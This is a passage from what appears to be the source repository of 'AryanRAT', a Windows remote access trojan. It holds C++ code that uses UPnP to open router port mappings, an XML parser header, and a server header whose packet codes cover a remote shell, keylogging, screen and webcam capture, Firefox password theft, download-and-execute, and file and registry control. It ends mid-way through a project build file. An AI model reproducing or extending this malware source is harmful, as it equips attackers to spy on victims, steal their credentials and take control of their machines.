host=str_url.substr(pos1,pos2-pos1); 38 | pos3=str_url.find("/",pos1); 39 | if(pos3==std::string::npos) 40 | { 41 | return false; 42 | } 43 | 44 | std::string str_port=str_url.substr(pos2+1,pos3-pos2-1); 45 | *port=(unsigned short)atoi(str_port.c_str()); 46 | } 47 | 48 | if(pos3+1>=str_url.size()) 49 | { 50 | path="/"; 51 | } 52 | else 53 | { 54 | path=str_url.substr(pos3,str_url.size()); 55 | } 56 | 57 | return true; 58 | } 59 | 60 | 61 | /****************************************************************** 62 | ** Discovery Defines * 63 | *******************************************************************/ 64 | #define HTTPMU_HOST_ADDRESS "239.255.255.250" 65 | #define HTTPMU_HOST_PORT 1900 66 | #define SEARCH_REQUEST_STRING "M-SEARCH * HTTP/1.1\r\n" \ 67 | "ST:UPnP:rootdevice\r\n" \ 68 | "MX: 3\r\n" \ 69 | "Man:\"ssdp:discover\"\r\n" \ 70 | "HOST: 239.255.255.250:1900\r\n" \ 71 | "\r\n" 72 | #define HTTP_OK "200 OK" 73 | #define DEFAULT_HTTP_PORT 80 74 | 75 | 76 | /****************************************************************** 77 | ** Device and Service Defines * 78 | *******************************************************************/ 79 | 80 | #define DEVICE_TYPE_1 "urn:schemas-upnp-org:device:InternetGatewayDevice:1" 81 | #define DEVICE_TYPE_2 "urn:schemas-upnp-org:device:WANDevice:1" 82 | #define DEVICE_TYPE_3 "urn:schemas-upnp-org:device:WANConnectionDevice:1" 83 | 84 | #define SERVICE_WANIP "urn:schemas-upnp-org:service:WANIPConnection:1" 85 | #define SERVICE_WANPPP "urn:schemas-upnp-org:service:WANPPPConnection:1" 86 | 87 | 88 | /****************************************************************** 89 | ** Action Defines * 90 | *******************************************************************/ 91 | #define HTTP_HEADER_ACTION "POST %s HTTP/1.1\r\n" \ 92 | "HOST: %s:%u\r\n" \ 93 | "SOAPACTION:\"%s#%s\"\r\n" \ 94 | "CONTENT-TYPE: text/xml ; charset=\"utf-8\"\r\n"\ 95 | "Content-Length: %d \r\n\r\n" 96 | 97 | #define SOAP_ACTION "\r\n" \ 98 | "\r\n" \ 102 | "\r\n" \ 103 | "\r\n%s" \ 104 | "\r\n" \ 105 | "\r\n" \ 106 | "\r\n" 107 | 108 | #define PORT_MAPPING_LEASE_TIME "63072000" //two year 109 | 110 | #define ADD_PORT_MAPPING_PARAMS "\r\n" \ 111 | "%u\r\n"\ 112 | "%s\r\n" \ 113 | "%u\r\n"\ 114 | "%s\r\n" \ 115 | "1\r\n" \ 116 | "%s\r\n" \ 117 | "" \ 118 | PORT_MAPPING_LEASE_TIME \ 119 | "\r\n" 120 | 121 | #define ACTION_ADD "AddPortMapping" 122 | //********************************************************************************* 123 | 124 | 125 | bool UPNPNAT::init(int time,int inter) 126 | { 127 | time_out=time; 128 | interval=inter; 129 | status=NAT_INIT; 130 | 131 | WORD wVersionRequested; 132 | WSADATA wsaData; 133 | int err; 134 | wVersionRequested = MAKEWORD (2, 2); 135 | err = WSAStartup (wVersionRequested, &wsaData); 136 | if(err != 0) 137 | return false; 138 | return true; 139 | } 140 | 141 | bool UPNPNAT::tcp_connect(const char * _host,unsigned short int _port) 142 | { 143 | int ret,i; 144 | tcp_socket_fd=socket(AF_INET,SOCK_STREAM,0); 145 | struct sockaddr_in r_address; 146 | 147 | r_address.sin_family = AF_INET; 148 | r_address.sin_port=htons(_port); 149 | r_address.sin_addr.s_addr=inet_addr(_host); 150 | 151 | for(i=1;i<=time_out;i++) 152 | { 153 | if(i>1) 154 | _sleep(1000); 155 | 156 | ret=connect(tcp_socket_fd,(const struct sockaddr *)&r_address,sizeof(struct sockaddr_in) ); 157 | if(ret==0) 158 | { 159 | status=NAT_TCP_CONNECTED; 160 | return true; 161 | } 162 | } 163 | 164 | status=NAT_ERROR; 165 | char temp[100]; 166 | sprintf(temp,"Fail to connect to %s:%i (using TCP)\n",_host,_port); 167 | last_error=temp; 168 | 169 | return false; 170 | } 171 | 172 | bool UPNPNAT::discovery() 173 | { 174 | udp_socket_fd=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); 175 | int i,ret; 176 | std::string send_buff=SEARCH_REQUEST_STRING; 177 | std::string recv_buff; 178 | char buff[MAX_BUFF_SIZE+1]; //buff should be enough big 179 | 180 | struct sockaddr_in r_address; 181 | r_address.sin_family=AF_INET; 182 | r_address.sin_port=htons(HTTPMU_HOST_PORT); 183 | r_address.sin_addr.s_addr=inet_addr(HTTPMU_HOST_ADDRESS); 184 | 185 | bool bOptVal = true; 186 | int bOptLen = sizeof(bool); 187 | int iOptLen = sizeof(int); 188 | 189 | ret=setsockopt(udp_socket_fd, SOL_SOCKET, SO_BROADCAST, (char*)&bOptVal, bOptLen); 190 | 191 | ret=sendto(udp_socket_fd,send_buff.c_str(),send_buff.size(),0,(struct sockaddr*)&r_address,sizeof(struct sockaddr_in)); 192 | 193 | for(i=1;i<=time_out;i++) 194 | { 195 | u_long val = 1; 196 | ioctlsocket (udp_socket_fd,FIONBIO,&val);//none block 197 | 198 | memset(buff, 0, sizeof(buff)); 199 | ret=recvfrom(udp_socket_fd,buff,MAX_BUFF_SIZE,0,NULL,NULL); 200 | if(ret==SOCKET_ERROR){ 201 | _sleep(1000); 202 | continue; 203 | } 204 | 205 | recv_buff=buff; 206 | ret=recv_buff.find(HTTP_OK); 207 | if(ret==std::string::npos) 208 | continue; //invalid response 209 | 210 | std::string::size_type begin=recv_buff.find("http://"); 211 | if(begin==std::string::npos) 212 | continue; //invalid response 213 | std::string::size_type end=recv_buff.find("\r",begin); 214 | if(end==std::string::npos) 215 | continue; //invalid response 216 | 217 | describe_url=describe_url.assign(recv_buff,begin,end-begin); 218 | 219 | if(!get_description()){ 220 | _sleep(1000); 221 | continue; 222 | } 223 | 224 | if(!parser_description()){ 225 | _sleep(1000); 226 | continue; 227 | } 228 | 229 | closesocket(udp_socket_fd); 230 | status=NAT_FOUND; //find a router 231 | return true ; 232 | } 233 | 234 | status=NAT_ERROR; 235 | last_error="Fail to find an UPNP NAT.\n"; 236 | 237 | return false; //no router finded 238 | } 239 | 240 | bool UPNPNAT::get_description() 241 | { 242 | std::string host,path; 243 | unsigned short int port; 244 | int ret=parseUrl(describe_url.c_str(),host,&port,path); 245 | if(!ret) 246 | { 247 | status=NAT_ERROR; 248 | last_error="Failed to parseURl: "+describe_url+"\n"; 249 | return false; 250 | } 251 | 252 | //connect 253 | ret=tcp_connect(host.c_str(),port); 254 | if(!ret){ 255 | return false; 256 | } 257 | 258 | char request[200]; 259 | sprintf (request,"GET %s HTTP/1.1\r\nHost: %s:%d\r\n\r\n",path.c_str(),host.c_str(),port); 260 | std::string http_request=request; 261 | 262 | //send request 263 | ret=send(tcp_socket_fd,http_request.c_str(),http_request.size(),0); 264 | //get description xml file 265 | char buff[MAX_BUFF_SIZE+1]; 266 | memset(buff, 0, sizeof(buff)); 267 | std::string response; 268 | while ( ret=recv(tcp_socket_fd,buff,MAX_BUFF_SIZE,0) >0) 269 | { 270 | response+=buff; 271 | memset(buff, 0, sizeof(buff)); 272 | } 273 | 274 | description_info=response; 275 | 276 | return true; 277 | } 278 | 279 | bool UPNPNAT::parser_description() 280 | { 281 | XMLNode node=XMLNode::parseString(description_info.c_str(),"root"); 282 | if(node.isEmpty()) 283 | { 284 | status=NAT_ERROR; 285 | last_error="The device descripe XML file is not a valid XML file. Cann't find root element.\n"; 286 | return false; 287 | } 288 | 289 | XMLNode baseURL_node=node.getChildNode("URLBase",0); 290 | if(!baseURL_node.getText()) 291 | { 292 | std::string::size_type index=describe_url.find("/",7); 293 | if(index==std::string::npos ) 294 | { 295 | status=NAT_ERROR; 296 | last_error="Fail to get base_URL from XMLNode \"URLBase\" or describe_url.\n"; 297 | return false; 298 | } 299 | base_url=base_url.assign(describe_url,0,index); 300 | } 301 | else 302 | base_url=baseURL_node.getText(); 303 | 304 | int num,i; 305 | XMLNode device_node,deviceList_node,deviceType_node; 306 | num=node.nChildNode("device"); 307 | for(i=0;iservice_type=serviceType; 413 | 414 | XMLNode controlURL_node=service_node.getChildNode("controlURL"); 415 | control_url=controlURL_node.getText(); 416 | 417 | //make the complete control_url; 418 | if(control_url.find("http://")==std::string::npos&&control_url.find("HTTP://")==std::string::npos) 419 | control_url=base_url+control_url; 420 | if(service_describe_url.find("http://")==std::string::npos&&service_describe_url.find("HTTP://")==std::string::npos) 421 | service_describe_url=base_url+service_describe_url; 422 | 423 | closesocket(tcp_socket_fd); 424 | status=NAT_GETCONTROL; 425 | return true; 426 | } 427 | 428 | 429 | bool UPNPNAT::add_port_mapping(char * _description, char * _destination_ip, unsigned short int _port_ex, unsigned short int _port_in, char * _protocal) 430 | { 431 | int ret; 432 | 433 | std::string host,path; 434 | unsigned short int port; 435 | ret=parseUrl(control_url.c_str(),host,&port,path); 436 | if(!ret) 437 | { 438 | status=NAT_ERROR; 439 | last_error="Fail to parseURl: "+describe_url+"\n"; 440 | return false; 441 | } 442 | 443 | //connect 444 | ret=tcp_connect(host.c_str(),port); 445 | if(!ret) 446 | return false; 447 | 448 | char buff[MAX_BUFF_SIZE+1]; 449 | sprintf(buff,ADD_PORT_MAPPING_PARAMS,_port_ex,_protocal,_port_in,_destination_ip,_description); 450 | std::string action_params=buff; 451 | 452 | sprintf(buff,SOAP_ACTION,ACTION_ADD,service_type.c_str(),action_params.c_str(),ACTION_ADD); 453 | std::string soap_message=buff; 454 | 455 | sprintf(buff,HTTP_HEADER_ACTION,path.c_str(),host.c_str(),port,service_type.c_str(),ACTION_ADD,soap_message.size()); 456 | std::string action_message=buff; 457 | 458 | std::string http_request=action_message+soap_message; 459 | 460 | //send request 461 | ret=send(tcp_socket_fd,http_request.c_str(),http_request.size(),0); 462 | 463 | //wait for response 464 | std::string response; 465 | memset(buff, 0, sizeof(buff)); 466 | while (ret=recv(tcp_socket_fd,buff,MAX_BUFF_SIZE,0) >0) 467 | { 468 | response+=buff; 469 | memset(buff, 0, sizeof(buff)); 470 | } 471 | 472 | if(response.find(HTTP_OK)==std::string::npos) 473 | { 474 | status=NAT_ERROR; 475 | char temp[100]; 476 | sprintf(temp,"Fail to add port mapping (%s/%s)\n",_description,_protocal); 477 | last_error=temp; 478 | return false; 479 | } 480 | 481 | closesocket(tcp_socket_fd); 482 | status=NAT_ADD; 483 | return true; 484 | } 485 | 486 | -------------------------------------------------------------------------------- /AryanRAT/Client/upnpnat.h: -------------------------------------------------------------------------------- 1 | #ifndef UPNPNAT_H 2 | #define UPNPNAT_H 3 | 4 | #include 5 | #include 6 | 7 | #pragma warning(disable: 4251) 8 | 9 | #define DefaultTimeOut 10 10 | #define DefaultInterval 200 11 | 12 | class __declspec (dllexport) UPNPNAT 13 | { 14 | public: 15 | 16 | bool init(int time_out=DefaultTimeOut,int interval=DefaultInterval); //init 17 | bool discovery();//find router 18 | 19 | /**** 20 | **** _description: port mapping name 21 | **** _destination_ip: internal ip address 22 | **** _port_ex:external: external listen port 23 | **** _destination_port: internal port 24 | **** _protocal: TCP or UDP 25 | ***/ 26 | bool add_port_mapping(char * _description, char * _destination_ip, unsigned short int _port_ex, unsigned short int _destination_port, char * _protocal);//add port mapping 27 | 28 | const char * get_last_error(){ return last_error.c_str();}//get last error 29 | private: 30 | bool get_description(); // 31 | bool parser_description(); // 32 | bool tcp_connect(const char * _addr,unsigned short int _port); 33 | bool parse_mapping_info(); 34 | int udp_socket_fd; 35 | int tcp_socket_fd; 36 | typedef enum 37 | { 38 | NAT_INIT=0, 39 | NAT_FOUND, 40 | NAT_TCP_CONNECTED, 41 | NAT_GETDESCRIPTION, 42 | NAT_GETCONTROL, 43 | NAT_ADD, 44 | NAT_DEL, 45 | NAT_GET, 46 | NAT_ERROR 47 | } NAT_STAT; 48 | NAT_STAT status; 49 | int time_out; 50 | int interval; 51 | std::string service_type; 52 | std::string describe_url; 53 | std::string control_url; 54 | std::string base_url; 55 | std::string service_describe_url; 56 | std::string description_info; 57 | std::string last_error; 58 | std::string mapping_info; 59 | }; 60 | 61 | #endif 62 | 63 | -------------------------------------------------------------------------------- /AryanRAT/Client/xmlParser.h: -------------------------------------------------------------------------------- 1 | #ifndef __INCLUDE_XML_NODE__ 2 | #define __INCLUDE_XML_NODE__ 3 | 4 | #include 5 | 6 | #ifdef WIN32 7 | #include 8 | #endif 9 | 10 | // Some common types for char set portable code 11 | #ifdef _UNICODE 12 | #ifndef LPCTSTR 13 | #define LPCTSTR const unsigned short * 14 | #endif /* LPCTSTR */ 15 | #ifndef LPTSTR 16 | #define LPTSTR unsigned short* 17 | #endif /* LPTSTR */ 18 | #ifndef TCHAR 19 | #define TCHAR unsigned short 20 | #endif /* TCHAR */ 21 | #else 22 | #ifndef LPCTSTR 23 | #define LPCTSTR const char * 24 | #endif /* LPCTSTR */ 25 | #ifndef LPTSTR 26 | #define LPTSTR char * 27 | #endif /* LPTSTR */ 28 | #ifndef TCHAR 29 | #define TCHAR char 30 | #endif /* TCHAR */ 31 | #endif 32 | #ifndef FALSE 33 | #define FALSE 0 34 | #endif /* FALSE */ 35 | #ifndef TRUE 36 | #define TRUE 1 37 | #endif /* TRUE */ 38 | 39 | #ifndef WIN32 40 | #define _T(c) c 41 | #endif 42 | 43 | // Enumeration for XML parse errors. 44 | typedef enum XMLError 45 | { 46 | eXMLErrorNone = 0, 47 | eXMLErrorMissingEndTag, 48 | eXMLErrorEmpty, 49 | eXMLErrorFirstNotStartTag, 50 | eXMLErrorMissingTagName, 51 | eXMLErrorMissingEndTagName, 52 | eXMLErrorNoMatchingQuote, 53 | eXMLErrorUnmatchedEndTag, 54 | eXMLErrorUnexpectedToken, 55 | eXMLErrorInvalidTag, 56 | eXMLErrorNoElements, 57 | eXMLErrorFileNotFound, 58 | eXMLErrorTagNotFound 59 | } XMLError; 60 | 61 | // Enumeration used to manage type of data. Use in conjonction with structure XMLNodeContents 62 | typedef enum XMLElementType 63 | { 64 | eNodeChild=0, 65 | eNodeAttribute=1, 66 | eNodeText=2, 67 | eNodeClear=3, 68 | eNodeNULL=4 69 | } XMLElementType; 70 | 71 | // Structure used to obtain error details if the parse fails. 72 | typedef struct XMLResults 73 | { 74 | enum XMLError error; 75 | int nLine,nColumn; 76 | } XMLResults; 77 | 78 | // Structure for XML clear (unformatted) node (usually comments) 79 | typedef struct { 80 | LPCTSTR lpszOpenTag; LPCTSTR lpszValue; LPCTSTR lpszCloseTag; 81 | } XMLClear; 82 | 83 | // Structure for XML attribute. 84 | typedef struct { 85 | LPCTSTR lpszName; LPCTSTR lpszValue; 86 | } XMLAttribute; 87 | 88 | struct XMLNodeContents; 89 | 90 | typedef struct XMLNode 91 | { 92 | // friend class XMLNode; 93 | protected: 94 | typedef struct // to allow shallow copy and "intelligent/smart" pointers (automatic delete): 95 | { 96 | LPCTSTR lpszName; // Element name (=NULL if root) 97 | int nChild, // Num of child nodes 98 | nText, // Num of text fields 99 | nClear, // Num of Clear fields (comments) 100 | nAttribute, // Num of attributes 101 | isDeclaration; // Whether node is an XML declaration - '' 102 | XMLNode *pParent; // Pointer to parent element (=NULL if root) 103 | XMLNode *pChild; // Array of child nodes 104 | LPCTSTR *pText; // Array of text fields 105 | XMLClear *pClear; // Array of clear fields 106 | XMLAttribute *pAttribute; // Array of attributes 107 | int *pOrder; // order in which the child_nodes,text_fields,clear_fields and 108 | int ref_count; 109 | } XMLNodeData; 110 | XMLNodeData *d; 111 | 112 | // protected constructor: use one of these four methods to get your first instance of XMLNode: 113 | // - parseString 114 | // - parseFile 115 | // - openFileHelper 116 | // - createXMLTopNode 117 | XMLNode(XMLNode *pParent, LPCTSTR lpszName, int isDeclaration); 118 | 119 | public: 120 | 121 | // You must create your first instance of XMLNode with these 3 parse functions: 122 | // (see complete explanation of parameters below) 123 | 124 | static XMLNode parseString (LPCTSTR lpszXML, LPCTSTR tag=NULL, XMLResults *pResults=NULL); 125 | static XMLNode parseFile (const char *lpszXML, LPCTSTR tag=NULL, XMLResults *pResults=NULL); 126 | static XMLNode openFileHelper(const char *lpszXML, LPCTSTR tag); 127 | 128 | // The tag parameter should be the name of the first tag inside the XML file. 129 | // If the tag parameter is omitted, the 3 functions return a node that represents 130 | // the head of the xml document including the declaration term (). 131 | 132 | // If the XML document is corrupted: 133 | // - The "openFileHelper" method will stop execution and display an error message. 134 | // - The 2 other methods will initialize the "pResults" variable with some information that 135 | // can be used to trace the error. 136 | // you can have a detailed explanation of the parsing error with this function: 137 | 138 | static LPCTSTR getError(XMLError error); 139 | 140 | LPCTSTR getName(); // name of the node 141 | LPCTSTR getText(int i=0); // return ith text field 142 | int nText(); // nbr of text field 143 | XMLNode getChildNode(int i); // return ith child node 144 | XMLNode getChildNode(LPCTSTR name, int i); // return ith child node with specific name 145 | // (return an empty node if failing) 146 | XMLNode getChildNode(LPCTSTR name, int *i=NULL); // return next child node with specific name 147 | // (return an empty node if failing) 148 | int nChildNode(LPCTSTR name); // return the number of child node with specific name 149 | int nChildNode(); // nbr of child node 150 | XMLAttribute getAttribute(int i); // return ith attribute 151 | char isAttributeSet(LPCTSTR name); // test if an attribute with a specific name is given 152 | LPCTSTR getAttribute(LPCTSTR name, int i); // return ith attribute content with specific name 153 | // (return a NULL if failing) 154 | LPCTSTR getAttribute(LPCTSTR name, int *i=NULL); // return next attribute content with specific name 155 | // (return a NULL if failing) 156 | int nAttribute(); // nbr of attribute 157 | XMLClear getClear(int i); // return ith clear field (comment) 158 | int nClear(); // nbr of clear field 159 | LPTSTR createXMLString(int nFormat, int *pnSize=NULL); // create XML string starting from current XMLNode 160 | XMLNodeContents enumContents(int i); // enumerate all the different contents (child,text, 161 | // clear,attribute) of the current XMLNode. The order 162 | // is reflecting the order of the original file/string 163 | int nElement(); // nbr of different contents for current node 164 | char isEmpty(); // is this node Empty? 165 | char isDeclaration(); 166 | 167 | // to allow shallow copy: 168 | ~XMLNode(); 169 | XMLNode(const XMLNode &A); 170 | XMLNode& operator=( const XMLNode& A ); 171 | static void destroyCurrentBuffer(XMLNodeData *d); 172 | 173 | XMLNode(): d(NULL){}; 174 | static XMLNode emptyXMLNode; 175 | static XMLClear emptyXMLClear; 176 | static XMLAttribute emptyXMLAttribute; 177 | 178 | // The following functions allows you to create from scratch a XMLNode structure 179 | // The strings given as parameters for these methods will be free'd by the XMLNode class: 180 | static XMLNode createXMLTopNode(); 181 | XMLNode addChild(LPCTSTR lpszName, int isDeclaration=FALSE); 182 | XMLAttribute *addAttribute(LPCTSTR lpszName, LPCTSTR lpszValuev); 183 | LPCTSTR addText(LPCTSTR lpszValue); 184 | XMLClear *addClear(LPCTSTR lpszValue, LPCTSTR lpszOpen, LPCTSTR lpszClose); 185 | 186 | private: 187 | 188 | // these are functions used internally (don't bother about them): 189 | int ParseClearTag(void *pXML, void *pClear); 190 | int ParseXMLElement(void *pXML); 191 | void addToOrder(int index, int type); 192 | static int CreateXMLStringR(XMLNodeData *pEntry, LPTSTR lpszMarker, int nFormat); 193 | static void *enumContent(XMLNodeData *pEntry,int i, XMLElementType *nodeType); 194 | static int nElement(XMLNodeData *pEntry); 195 | static void removeOrderElement(XMLNodeData *d, XMLElementType t, int index); 196 | static void exactMemory(XMLNodeData *d); 197 | } XMLNode; 198 | 199 | 200 | // This structure is given by the function "enumContents". 201 | typedef struct XMLNodeContents 202 | { 203 | // This dictates what's the content of the XMLNodeContent 204 | enum XMLElementType type; 205 | // should be an union to access the appropriate data. 206 | // compiler does not allow union of object with constructor... too bad. 207 | XMLNode child; 208 | XMLAttribute attrib; 209 | LPCTSTR text; 210 | XMLClear clear; 211 | 212 | } XMLNodeContents; 213 | 214 | // The 2 following functions are processing strings so that all the characters 215 | // &,",',<,> are replaced by their XML equivalent: &, ", ', <, >. 216 | // The second function ("toXMLStringFast") allows you to re-use the same output 217 | // buffer for all the conversions so that only a few memory allocations are performed. 218 | // If the output buffer is too small to contain the resulting string, it will 219 | // be enlarged. These 2 functions are useful when creating from scratch an 220 | // XML file using printf. 221 | LPTSTR toXMLString(LPCTSTR source); 222 | LPTSTR toXMLStringFast(LPTSTR *destBuffer,int *destSz, LPCTSTR source); 223 | // you should not use this one: 224 | LPTSTR toXMLString(LPTSTR dest,LPCTSTR source); 225 | 226 | // duplicate (copy in a new allocated buffer) the source string 227 | LPTSTR stringDup(LPCTSTR source, int cbData=0); 228 | 229 | #endif 230 | -------------------------------------------------------------------------------- /AryanRAT/Client/yellow.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/yellow.ico -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServer.h: -------------------------------------------------------------------------------- 1 | #ifndef __AryanServer_h 2 | #define __AryanServer_h 3 | 4 | ///////////////////////////////////////////////// 5 | #define STATUS 1990 6 | #define PACKET_ADD_ID 1991 7 | #define PACKET_USER_JOINED 1992 8 | #define PACKET_EXIT 1993 9 | ///////////////////////////////////////////////// 10 | //Shell Packet headers 11 | #define PACKET_CMD_RECV 2000 12 | #define PACKET_REMOTE_SHELL_START 2001 13 | ///////////////////////////////////////////////// 14 | //Task manager Packet headers 15 | #define PACKET_TASK_MANAGER 2002 16 | #define PACKET_TASK_MANAGER_KILL 2003 17 | #define PACKET_TASK_MANAGER_TASKS 2004 18 | #define PACKET_TASK_MANAGER_KTASK 2005 19 | #define PACKET_TASK_MANAGER_TEXT 2006 20 | ///////////////////////////////////////////////// 21 | //File manager Packet headers 22 | #define PACKET_FILE_MANAGER_DRIVE 2010 23 | #define PACKET_FILE_MANAGER_FOLDER 2011 24 | #define PACKET_FILE_MANAGER_FILE 2012 25 | #define PACKET_FILE_MANAGER_FILE_FOLDER 2013 26 | #define PACKET_FILE_MANAGER_FILE_COPY 2014 27 | #define PACKET_FILE_MANAGER_NEW_FOLDER 2015 28 | #define PACKET_FILE_MANAGER_DELETE_FILE 2016 29 | #define PACKET_FILE_MANAGER_FILE_CUT 2017 30 | #define PACKET_FILE_MANAGER_FILE_RENAME 2018 31 | #define PACKET_FILE_MANAGER_FILE_RECV_S 2019 32 | #define PACKET_FILE_MANAGER_FILE_RECV 2020 33 | #define PACKET_FILE_MANAGER_FILE_C 2021 34 | #define PACKET_FILE_MANAGER_FILE_DOWN 2022 35 | #define PACKET_FILE_MANAGER_FILE_UPDATE_WIN 2023 36 | #define PACKET_FILE_MANAGER_SEARCH 2024 37 | #define DONE 2025 38 | #define PACKET_FILE_MANAGER_FILE_EXECUTE 2026 39 | #define PACKET_FILE_MANAGER_FILE_OPEN 2027 40 | #define PACKET_FILE_DOWNLOAD_STAT 2028 41 | ///////////////////////////////////////////////// 42 | //Computer Packet headers 43 | #define PACKET_COMPUTER_LOGOFF 2030 44 | #define PACKET_COMPUTER_SHUTDOWN 2031 45 | #define PACKET_COMPUTER_LOCK 2032 46 | ///////////////////////////////////////////////// 47 | //Keylogger Packet headers 48 | #define PACKET_KEYLOGGER 2060 49 | #define PACKET_KEYLOGGER_WINDOW 2061 50 | #define PACKET_KEYLOGGER_OFF 2062 51 | #define PACKET_KEYLOG_OFFLINE 2063 52 | #define PACKET_KEYLOG_DOWNLOAD 2064 53 | #define PACKET_KEYLOG_OPEN 2065 54 | #define PACKET_KEYLOG_DOWNLOAD_UPDATE 2066 55 | ///////////////////////////////////////////////// 56 | #define PACKET_RESUME 2040 57 | ////////////////////////////////////////////////// 58 | //Screen capture 59 | #define SCREEN_CAPTURE 2050 60 | #define SCREEN_SHOT_OPEN 2051 61 | #define SCREEN_SHOT_CLOSE 2052 62 | #define SCREEN_SHOT_RECV 2053 63 | ////////////////////////////////////////////////// 64 | //Passwords 65 | #define PASSWORD_FIREFOX 2070 66 | //////////////////////////////////////////////// 67 | //Services 68 | #define PACKET_SERVICE_MAN 2080 69 | #define PACKET_SERVICE_STARTA 2081 70 | #define PACKET_SERVICE_STOPA 2082 71 | //////////////////////////////////////////////// 72 | //RegManager 73 | #define PACKET_REG_MANAGER 2090 74 | //////////////////////////////////////////////// 75 | //Packet Structer 76 | #define PACKET_DOWNLOAD_EXECUTE 3000 77 | //////////////////////////////////////////////// 78 | //Query Installs 79 | #define PACKET_PROGRAM_FILES 3010 80 | #define EXECUTE 3011 81 | //////////////////////////////////////////////// 82 | #define WEBCAM_CAPTURE 3020 83 | //////////////////////////////////////////////// 84 | #define FUN_MONITOR_ON 3030 85 | #define FUN_MONITOR_OFF 3031 86 | #define FUN_OPEN_CD 3032 87 | #define FUN_CLOSE_CD 3033 88 | #define FUN_INVERT_SCREEN_COLOUR 3034 89 | 90 | #define MAX_KEY_LENGTH 255 91 | #define MAX_VALUE_NAME 16383 92 | 93 | #define MAX_LOADSTRING 100 94 | #define HIMETRIC_INCH 2540 95 | #define MAP_LOGHIM_TO_PIX(x,ppli) ( ((ppli)*(x) + HIMETRIC_INCH/2) / HIMETRIC_INCH ) 96 | 97 | typedef struct { 98 | WORD x,y; // dimensions 99 | WORD l; // bytes per scan-line (32-bit allignment) 100 | BYTE *b; // bits of bitmap,3 bytes/pixel, BGR 101 | } tWorkBMP; // 24-bit working bitmap 102 | 103 | struct PACKETHEAD 104 | { DWORD PacketType; 105 | char Data [512]; 106 | char PID [50]; 107 | char Threads [50]; 108 | char ParentPID [50]; 109 | char PRIORITY [50]; 110 | char Buf [100]; 111 | char Buf2 [50]; 112 | char Buf3 [50]; 113 | char IDS [10]; 114 | int ID; 115 | int ID2; 116 | int ID3; 117 | } ; 118 | 119 | typedef struct 120 | { 121 | DWORD PacketType; 122 | char Data [4096]; 123 | int ID; 124 | int ID2; 125 | int ID3; 126 | int ID4; 127 | } PACKETFILE; 128 | 129 | typedef struct FFIND 130 | { 131 | char filename[100]; 132 | char dirname[100]; 133 | int threadnum; 134 | BOOL silent; 135 | BOOL gotinfo; 136 | 137 | } FFIND; 138 | #endif -------------------------------------------------------------------------------- /AryanRAT/ServerA/AryanServerFWB.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="AryanServerFWB" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 6 | 7 | CFG=AryanServerFWB - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "AryanServerFWB.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "AryanServerFWB.mak" CFG="AryanServerFWB - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "AryanServerFWB - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") 21 | !MESSAGE "AryanServerFWB - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | MTL=midl.exe 30 | RSC=rc.exe 31 | 32 | !IF "$(CFG)" == "AryanServerFWB - Win32 Release" 33 | 34 | # PROP BASE Use_MFC 0 35 | # PROP BASE Use_Debug_Libraries 0 36 | # PROP BASE Output_Dir "Release" 37 | # PROP BASE Intermediate_Dir "Release" 38 | # PROP BASE Target_Dir "" 39 | # PROP Use_MFC 0 40 | # PROP Use_Debug_Libraries 0 41 | # PROP Output_Dir "Release" 42 | # PROP Intermediate_Dir "Release" 43 | # PROP Ignore_Export_Lib 0 44 | # PROP Target_Dir "" 45 | # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "ARYANSERVERFWB_EXPORTS" /YX /FD /c 46 | # ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "ARYANSERVERFWB_EXPORTS" /YX /FD /c 47 | # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 48 | # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 49 | # ADD BASE RSC /l 0x809 /d "NDEBUG" 50 | # ADD RSC /l 0x809 /d "NDEBUG" 51 | BSC32=bscmake.exe 52 | # ADD BASE BSC32 /nologo 53 | # ADD BSC32 /nologo 54 | LINK32=link.exe 55 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 56 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib gdiplus.lib Winmm.lib /nologo /dll /machine:I386 57 | 58 | !ELSEIF "$(CFG)" == "AryanServerFWB - Win32 Debug" 59 | 60 | # PROP BASE Use_MFC 0 61 | # PROP BASE Use_Debug_Libraries 1 62 | # PROP BASE Output_Dir "Debug" 63 | # PROP BASE Intermediate_Dir "Debug" 64 | # PROP BASE Target_Dir "" 65 | # PROP Use_MFC 0 66 | # PROP Use_Debug_Libraries 1 67 | # PROP Output_Dir "Debug" 68 | # PROP Intermediate_Dir "Debug" 69 | # PROP Target_Dir "" 70 | # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "ARYANSERVERFWB_EXPORTS" /YX /FD /GZ /c 71 | # ADD CPP /nologo /MTd 